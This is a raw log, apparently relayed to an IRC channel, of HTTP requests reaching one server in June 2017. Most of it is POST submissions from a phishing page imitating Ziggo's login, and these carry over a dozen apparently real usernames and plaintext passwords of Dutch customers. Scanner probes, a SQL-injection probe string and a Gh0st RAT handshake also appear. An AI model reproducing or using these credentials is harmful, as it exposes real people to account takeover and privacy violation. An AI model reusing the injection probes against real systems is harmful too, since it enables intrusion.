  449. [15:56] <HTTP> Connection: Keep-Alive
  450. [15:56] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  451. [15:56] <HTTP> translate: f
  452. [15:56] <HTTP> Host: 172.86.120.218
  453. [16:13] <HTTP> Socket initiated: 222.186.31.153
  454. [16:13] <HTTP> GET / HTTP/1.1
  455. [16:13] <HTTP> Host: www.lwxs520.com
  456. [16:26] <HTTP> Socket initiated: 66.240.205.34
  457. [16:26] <HTTP> Gh0st≠
  458. [16:27] <HTTP> r #£‹~?+m¬=˝tC,C˝L<<==\ù?
  459. 03[16:27] * toor (localhost@Owner.home-unix.com) has joined ##ss
  460. 03[16:59] * toor is now known as ind3p3nd3nt
  461. 03[17:00] * ind3p3nd3nt is now known as ind3pendent
  462. 02[17:01] * ind3pendent (localhost@Owner.home-unix.com) Quit (Read error)
  463. [18:06] <HTTP> Socket initiated: 91.230.47.3
  464. [18:06] <HTTP> GET / HTTP/1.0
  465. [18:06] <HTTP> Connection: close
  466. [18:17] <HTTP> Socket initiated: 91.189.36.109
  467. [18:17] <HTTP> GET /userlogin/login.aspx?id=1%27and%201=2 HTTP/1.1
  468. [18:17] <HTTP> Host: www.gtmcom.net
  469. 02[18:25] * @independent (independen@Owner.home-unix.com) Quit (NickServ (RECOVER command used by |))
  470. 03[18:25] * independent (independen@Owner.home-unix.com) has joined ##ss
  471. 03[18:25] * ChanServ sets mode: +o independent
  472. 02[18:25] * @independent (independen@Owner.home-unix.com) Quit (home-unix Client Quit)
  473. 03[18:25] * independent (independen@AA396093.16DE410C.CE86F8AC.IP) has joined ##ss
  474. [18:53] <HTTP> Socket initiated: 71.6.158.166
  475. [18:53] <HTTP> Socket initiated: 71.6.158.166
  476. [18:53] <HTTP> Socket initiated: 71.6.158.166
  477. [18:53] <HTTP> GET / HTTP/1.1
  478. [18:53] <HTTP> Host: 172.86.120.218
  479. [18:53] <HTTP> Accept-Encoding: identity
  480. [18:53] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  481. [18:53] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  482. [18:53] <HTTP> GET /robots.txt HTTP/1.1
  483. [18:53] <HTTP> Host: 172.86.120.218
  484. [18:53] <HTTP> Accept-Encoding: identity
  485. [18:53] <HTTP> GET /sitemap.xml HTTP/1.1
  486. [18:53] <HTTP> Host: 172.86.120.218
  487. [18:53] <HTTP> Accept-Encoding: identity
  488. [18:53] <HTTP> GET / HTTP/1.1
  489. [18:53] <HTTP> Host: 172.86.120.218
  490. [18:53] <HTTP> Accept-Encoding: identity
  491. [18:53] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  492. [18:53] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  493. [18:53] <HTTP> GET /robots.txt HTTP/1.1
  494. [18:53] <HTTP> Host: 172.86.120.218
  495. [18:53] <HTTP> Accept-Encoding: identity
  496. [18:53] <HTTP> GET /sitemap.xml HTTP/1.1
  497. [18:53] <HTTP> Host: 172.86.120.218
  498. [18:54] <HTTP> Accept-Encoding: identity
  499. [18:54] <HTTP> GET / HTTP/1.1
  500. [18:54] <HTTP> Host: 172.86.120.218
  501. [18:54] <HTTP> Accept-Encoding: identity
  502. [18:54] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  503. [18:54] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  504. [18:54] <HTTP> GET /robots.txt HTTP/1.1
  505. [18:54] <HTTP> Host: 172.86.120.218
  506. [18:54] <HTTP> Accept-Encoding: identity
  507. [18:54] <HTTP> GET /sitemap.xml HTTP/1.1
  508. [18:54] <HTTP> Host: 172.86.120.218
  509. [18:54] <HTTP> Accept-Encoding: identity
  510. [19:09] <HTTP> Socket initiated: 91.230.47.3
  511. [19:09] <HTTP> GET / HTTP/1.0
  512. [19:09] <HTTP> Connection: close
  513. [21:11] <HTTP> Socket initiated: 41.92.90.1
  514. [21:11] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  515. [21:11] <HTTP> Host: ziggo.nl.hacked.jp
  516. [21:11] <HTTP> Connection: keep-alive
  517. [21:12] <HTTP> Content-Length: 115
  518. [21:12] <HTTP> Cache-Control: max-age=0
  519. [21:12] <HTTP> Origin: http://219.93.200.189
  520. [21:12] <HTTP> Upgrade-Insecure-Requests: 1
  521. [21:12] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  522. [21:12] <HTTP> Content-Type: application/x-www-form-urlencoded
  523. [21:12] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  524. [21:12] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  525. [21:12] <HTTP> Accept-Encoding: gzip, deflate
  526. [21:12] <HTTP> Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4,ar;q=0.2
  527. [21:12] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=samirhaddani&userId=samirhaddani&password=anahowa55&button=
  528. [21:26] <HTTP> Socket initiated: 91.230.47.3
  529. [21:27] <HTTP> GET / HTTP/1.0
  530. [21:27] <HTTP> Connection: close
  531. [22:28] <HTTP> Socket initiated: 91.230.47.3
  532. [22:28] <HTTP> GET / HTTP/1.0
  533. [22:28] <HTTP> Connection: close
  534. [23:11] <HTTP> Socket initiated: 46.209.210.18
  535. [23:11] <HTTP> OPTIONS /ipc$ HTTP/1.1
  536. [23:11] <HTTP> Connection: Keep-Alive
  537. [23:11] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  538. [23:11] <HTTP> translate: f
  539. [23:11] <HTTP> Host: 172.86.120.218
  540. [23:12] <HTTP> Socket initiated: 46.209.210.18
  541. [23:12] <HTTP> OPTIONS /ipc$ HTTP/1.1
  542. [23:12] <HTTP> Connection: Keep-Alive
  543. [23:12] <HTTP> User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
  544. [23:12] <HTTP> translate: f
  545. [23:12] <HTTP> Host: 172.86.120.218
  546. [23:31] <HTTP> Socket initiated: 83.80.147.228
  547. [23:31] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  548. [23:31] <HTTP> Host: ziggo.nl.hacked.jp
  549. [23:31] <HTTP> Connection: keep-alive
  550. [23:31] <HTTP> Content-Length: 106
  551. [23:31] <HTTP> Cache-Control: max-age=0
  552. [23:31] <HTTP> Origin: http://219.93.200.189
  553. [23:31] <HTTP> Upgrade-Insecure-Requests: 1
  554. [23:31] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G955F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  555. [23:31] <HTTP> Content-Type: application/x-www-form-urlencoded
  556. [23:31] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  557. [23:31] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  558. [23:31] <HTTP> Accept-Encoding: gzip, deflate
  559. [23:31] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  560. [23:31] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=verwi016&userId=verwi016&password=genprp99&button=
  561. [23:36] <HTTP> Socket initiated: 84.29.129.61
  562. [23:36] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  563. [23:36] <HTTP> Host: ziggo.nl.hacked.jp
  564. [23:36] <HTTP> Connection: keep-alive
  565. [23:36] <HTTP> Content-Length: 114
  566. [23:36] <HTTP> Cache-Control: max-age=0
  567. [23:36] <HTTP> Origin: http://219.93.200.189
  568. [23:36] <HTTP> Upgrade-Insecure-Requests: 1
  569. [23:36] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G920F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  570. [23:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  571. [23:36] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  572. [23:36] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  573. [23:36] <HTTP> Accept-Encoding: gzip, deflate
  574. [23:36] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  575. [23:36] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Patrick0312&userId=Patrick0312&password=Rumakita01&button=
  576. Session Time: Fri Jun 02 00:00:00 2017
  577. [00:04] <HTTP> Socket initiated: 84.24.97.9
  578. [00:04] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  579. [00:04] <HTTP> Host: ziggo.nl.hacked.jp
  580. [00:04] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  581. [00:04] <HTTP> Accept-Language: nl-nl
  582. [00:04] <HTTP> Accept-Encoding: gzip, deflate
  583. [00:04] <HTTP> Content-Type: application/x-www-form-urlencoded
  584. [00:04] <HTTP> Origin: http://219.93.200.189
  585. [00:04] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  586. [00:04] <HTTP> Connection: keep-alive
  587. [00:04] <HTTP> Upgrade-Insecure-Requests: 1
  588. [00:04] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  589. [00:04] <HTTP> DNT: 1
  590. [00:04] <HTTP> Content-Length: 108
  591. [00:04] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=edenissen&userId=edenissen&password=Ld260657&button=
  592. [00:15] <HTTP> Socket initiated: 217.101.186.155
  593. [00:15] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  594. [00:15] <HTTP> Host: ziggo.nl.hacked.jp
  595. [00:15] <HTTP> Connection: keep-alive
  596. [00:15] <HTTP> Content-Length: 116
  597. [00:15] <HTTP> Cache-Control: max-age=0
  598. [00:15] <HTTP> Origin: http://219.93.200.189
  599. [00:15] <HTTP> Upgrade-Insecure-Requests: 1
  600. [00:15] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-A310F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  601. [00:15] <HTTP> Content-Type: application/x-www-form-urlencoded
  602. [00:15] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  603. [00:15] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  604. [00:15] <HTTP> Accept-Encoding: gzip, deflate
  605. [00:15] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  606. [00:16] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Famvanderlede&userId=Famvanderlede&password=fiat1977&button=
  607. [00:17] <HTTP> Socket initiated: 94.213.254.205
  608. [00:17] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  609. [00:17] <HTTP> Host: ziggo.nl.hacked.jp
  610. [00:17] <HTTP> Connection: keep-alive
  611. [00:17] <HTTP> Content-Length: 109
  612. [00:17] <HTTP> Cache-Control: max-age=0
  613. [00:17] <HTTP> Origin: http://219.93.200.189
  614. [00:17] <HTTP> Upgrade-Insecure-Requests: 1
  615. [00:17] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; SAMSUNG SM-G925F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  616. [00:17] <HTTP> Content-Type: application/x-www-form-urlencoded
  617. [00:17] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  618. [00:17] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  619. [00:17] <HTTP> Accept-Encoding: gzip, deflate
  620. [00:17] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  621. [00:17] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=AJHKREMER&userId=AJHKREMER&password=shadow60.&button=
  622. [00:19] <HTTP> Socket initiated: 84.24.97.9
  623. [00:19] <HTTP> Socket initiated: 84.24.97.9
  624. [00:19] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  625. [00:19] <HTTP> Host: ziggo.nl.hacked.jp
  626. [00:19] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  627. [00:19] <HTTP> Accept-Language: nl-nl
  628. [00:19] <HTTP> Accept-Encoding: gzip, deflate
  629. [00:19] <HTTP> Content-Type: application/x-www-form-urlencoded
  630. [00:19] <HTTP> Origin: http://219.93.200.189
  631. [00:19] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  632. [00:19] <HTTP> Connection: keep-alive
  633. [00:19] <HTTP> Upgrade-Insecure-Requests: 1
  634. [00:19] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  635. [00:19] <HTTP> DNT: 1
  636. [00:19] <HTTP> Content-Length: 112
  637. [00:19] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=emjdenissen&userId=emjdenissen&password=Ld260657&button=
  638. [00:22] <HTTP> Socket initiated: 94.213.51.5
  639. [00:22] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  640. [00:22] <HTTP> Host: ziggo.nl.hacked.jp
  641. [00:22] <HTTP> Connection: keep-alive
  642. [00:22] <HTTP> Content-Length: 106
  643. [00:22] <HTTP> Cache-Control: max-age=0
  644. [00:22] <HTTP> Origin: http://219.93.200.189
  645. [00:22] <HTTP> Upgrade-Insecure-Requests: 1
  646. [00:22] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0; HUAWEI GRA-L09 Build/HUAWEIGRA-L09) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  647. [00:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  648. [00:22] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  649. [00:22] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  650. [00:22] <HTTP> Accept-Encoding: gzip, deflate
  651. [00:22] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  652. [00:22] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=dolle108&userId=dolle108&password=Anes1013&button=
  653. [00:24] <HTTP> Socket initiated: 94.214.205.154
  654. [00:24] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  655. [00:24] <HTTP> Host: ziggo.nl.hacked.jp
  656. [00:24] <HTTP> Connection: keep-alive
  657. [00:24] <HTTP> Content-Length: 107
  658. [00:24] <HTTP> Cache-Control: max-age=0
  659. [00:24] <HTTP> Origin: http://219.93.200.189
  660. [00:24] <HTTP> Upgrade-Insecure-Requests: 1
  661. [00:24] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  662. [00:24] <HTTP> Content-Type: application/x-www-form-urlencoded
  663. [00:24] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  664. [00:24] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  665. [00:24] <HTTP> Accept-Encoding: gzip, deflate
  666. [00:24] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  667. [00:24] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=HAUFE&userId=HAUFE&password=Ploeg84tuikwerd&button=
  668. [00:26] <HTTP> Socket initiated: 213.73.140.48
  669. [00:26] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  670. [00:26] <HTTP> Host: ziggo.nl.hacked.jp
  671. [00:26] <HTTP> Connection: keep-alive
  672. [00:26] <HTTP> Content-Length: 109
  673. [00:26] <HTTP> Cache-Control: max-age=0
  674. [00:26] <HTTP> Origin: http://219.93.200.189
  675. [00:26] <HTTP> Upgrade-Insecure-Requests: 1
  676. [00:26] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; GT-I9060I Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  677. [00:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  678. [00:26] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  679. [00:26] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  680. [00:26] <HTTP> Accept-Encoding: gzip, deflate
  681. [00:26] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  682. [00:26] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=lizebakker&userId=lizebakker&password=Bakker1&button=
  683. [00:29] <HTTP> Socket initiated: 94.212.68.177
  684. [00:29] <HTTP> Socket initiated: 94.212.68.177
  685. [00:29] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  686. [00:29] <HTTP> Host: ziggo.nl.hacked.jp
  687. [00:29] <HTTP> Content-Type: application/x-www-form-urlencoded
  688. [00:29] <HTTP> Origin: http://219.93.200.189
  689. [00:29] <HTTP> Accept-Encoding: gzip, deflate
  690. [00:29] <HTTP> Connection: keep-alive
  691. [00:29] <HTTP> Upgrade-Insecure-Requests: 1
  692. [00:29] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  693. [00:29] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  694. [00:29] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  695. [00:29] <HTTP> Content-Length: 112
  696. [00:29] <HTTP> Accept-Language: nl-nl
  697. [00:29] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Richardlich&userId=Richardlich&password=marcob34&button=
  698. [00:38] <HTTP> Socket initiated: 83.81.211.62
  699. [00:38] <HTTP> Socket initiated: 83.81.211.62
  700. [00:38] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  701. [00:38] <HTTP> Host: ziggo.nl.hacked.jp
  702. [00:38] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  703. [00:38] <HTTP> Accept-Language: nl-nl
  704. [00:38] <HTTP> Accept-Encoding: gzip, deflate
  705. [00:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  706. [00:38] <HTTP> Origin: http://219.93.200.189
  707. [00:38] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  708. [00:38] <HTTP> Connection: keep-alive
  709. [00:38] <HTTP> Upgrade-Insecure-Requests: 1
  710. [00:38] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  711. [00:38] <HTTP> DNT: 1
  712. [00:38] <HTTP> Content-Length: 107
  713. [00:38] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=H.onsia&userId=H.onsia&password=Topcraft484&button=
  714. [00:39] <HTTP> Socket initiated: 94.214.205.154
  715. [00:39] <HTTP> Socket initiated: 82.75.106.192
  716. [00:39] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  717. [00:39] <HTTP> Host: ziggo.nl.hacked.jp
  718. [00:39] <HTTP> Connection: keep-alive
  719. [00:39] <HTTP> Content-Length: 108
  720. [00:39] <HTTP> Cache-Control: max-age=0
  721. [00:39] <HTTP> Origin: http://219.93.200.189
  722. [00:39] <HTTP> Upgrade-Insecure-Requests: 1
  723. [00:39] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  724. [00:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  725. [00:39] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  726. [00:39] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  727. [00:39] <HTTP> Accept-Encoding: gzip, deflate
  728. [00:39] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  729. [00:39] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=HAUFE&userId=HAUFE&password=Capponsenior1944&button=POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  730. [00:39] <HTTP> Host: ziggo.nl.hacked.jp
  731. [00:39] <HTTP> Connection: keep-alive
  732. [00:39] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  733. [00:39] <HTTP> Content-Length: 104
  734. [00:39] <HTTP> Cache-Control: max-age=0
  735. [00:39] <HTTP> Origin: http://219.93.200.189
  736. [00:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  737. [00:39] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  738. [00:39] <HTTP> User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; nl-nl; GT-N8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
  739. [00:39] <HTTP> Accept-Encoding: gzip,deflate
  740. [00:39] <HTTP> Accept-Language: nl-NL, en-US
  741. [00:39] <HTTP> Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
  742. [00:39] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=oud.j&userId=oud.j&password=trouw63datum&button=
  743. [00:41] <HTTP> Socket initiated: 82.75.106.192
  744. [00:41] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  745. [00:41] <HTTP> Host: ziggo.nl.hacked.jp
  746. [00:41] <HTTP> Connection: keep-alive
  747. [00:41] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  748. [00:41] <HTTP> Content-Length: 104
  749. [00:41] <HTTP> Cache-Control: max-age=0
  750. [00:41] <HTTP> Origin: http://219.93.200.189
  751. [00:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  752. [00:41] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  753. [00:41] <HTTP> User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; nl-nl; GT-N8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
  754. [00:41] <HTTP> Accept-Encoding: gzip,deflate
  755. [00:41] <HTTP> Accept-Language: nl-NL, en-US
  756. [00:41] <HTTP> Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
  757. [00:41] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=oud.j&userId=oud.j&password=trouw63datum&button=
  758. [00:43] <HTTP> Socket initiated: 94.214.205.154
  759. [00:43] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  760. [00:43] <HTTP> Host: ziggo.nl.hacked.jp
  761. [00:43] <HTTP> Connection: keep-alive
  762. [00:43] <HTTP> Content-Length: 108
  763. [00:43] <HTTP> Cache-Control: max-age=0
  764. [00:43] <HTTP> Origin: http://219.93.200.189
  765. [00:43] <HTTP> Upgrade-Insecure-Requests: 1
  766. [00:43] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  767. [00:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  768. [00:43] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  769. [00:43] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  770. [00:43] <HTTP> Accept-Encoding: gzip, deflate
  771. [00:43] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  772. [00:43] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=HAUFE&userId=HAUFE&password=Ploeg84tuikwerd.&button=
  773. [00:45] <HTTP> Socket initiated: 82.75.106.192
  774. [00:45] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  775. [00:45] <HTTP> Host: ziggo.nl.hacked.jp
  776. [00:45] <HTTP> Connection: keep-alive
  777. [00:45] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  778. [00:45] <HTTP> Content-Length: 104
  779. [00:45] <HTTP> Cache-Control: max-age=0
  780. [00:45] <HTTP> Origin: http://219.93.200.189
  781. [00:45] <HTTP> Content-Type: application/x-www-form-urlencoded
  782. [00:45] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  783. [00:45] <HTTP> User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; nl-nl; GT-N8010 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
  784. [00:45] <HTTP> Accept-Encoding: gzip,deflate
  785. [00:45] <HTTP> Accept-Language: nl-NL, en-US
  786. [00:45] <HTTP> Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
  787. [00:45] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=oud.j&userId=oud.j&password=trouw63datum&button=
  788. [00:47] <HTTP> Socket initiated: 80.114.239.232
  789. [00:47] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  790. [00:47] <HTTP> Host: ziggo.nl.hacked.jp
  791. [00:47] <HTTP> Connection: keep-alive
  792. [00:47] <HTTP> Content-Length: 115
  793. [00:47] <HTTP> Cache-Control: max-age=0
  794. [00:47] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  795. [00:47] <HTTP> Origin: http://219.93.200.189
  796. [00:47] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SAMSUNG SM-J320FN Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.5 Chrome/38.0.2125.102 Mobile Safari/537.36
  797. [00:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  798. [00:47] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  799. [00:47] <HTTP> Accept-Encoding: gzip,deflate
  800. [00:47] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  801. [00:47] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=dicktammenga&userId=dicktammenga&password=tammenga5&button=
  802. [00:50] <HTTP> Socket initiated: 84.29.67.148
  803. [00:50] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  804. [00:50] <HTTP> Host: ziggo.nl.hacked.jp
  805. [00:50] <HTTP> Connection: keep-alive
  806. [00:50] <HTTP> Content-Length: 105
  807. [00:50] <HTTP> Cache-Control: max-age=0
  808. [00:50] <HTTP> Origin: http://219.93.200.189
  809. [00:50] <HTTP> Upgrade-Insecure-Requests: 1
  810. [00:50] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-J500F Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  811. [00:50] <HTTP> Content-Type: application/x-www-form-urlencoded
  812. [00:50] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  813. [00:50] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  814. [00:50] <HTTP> Accept-Encoding: gzip, deflate
  815. [00:50] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  816. [00:51] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Phillaar&userId=Phillaar&password=scruffy&button=
  817. [00:53] <HTTP> Socket initiated: 91.230.47.3
  818. [00:53] <HTTP> GET / HTTP/1.0
  819. [00:53] <HTTP> Connection: close
  820. [01:11] <HTTP> Socket initiated: 84.27.115.5
  821. [01:11] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  822. [01:11] <HTTP> Host: ziggo.nl.hacked.jp
  823. [01:11] <HTTP> Content-Type: application/x-www-form-urlencoded
  824. [01:11] <HTTP> Origin: http://219.93.200.189
  825. [01:11] <HTTP> Accept-Encoding: gzip, deflate
  826. [01:11] <HTTP> Connection: keep-alive
  827. [01:11] <HTTP> Upgrade-Insecure-Requests: 1
  828. [01:11] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
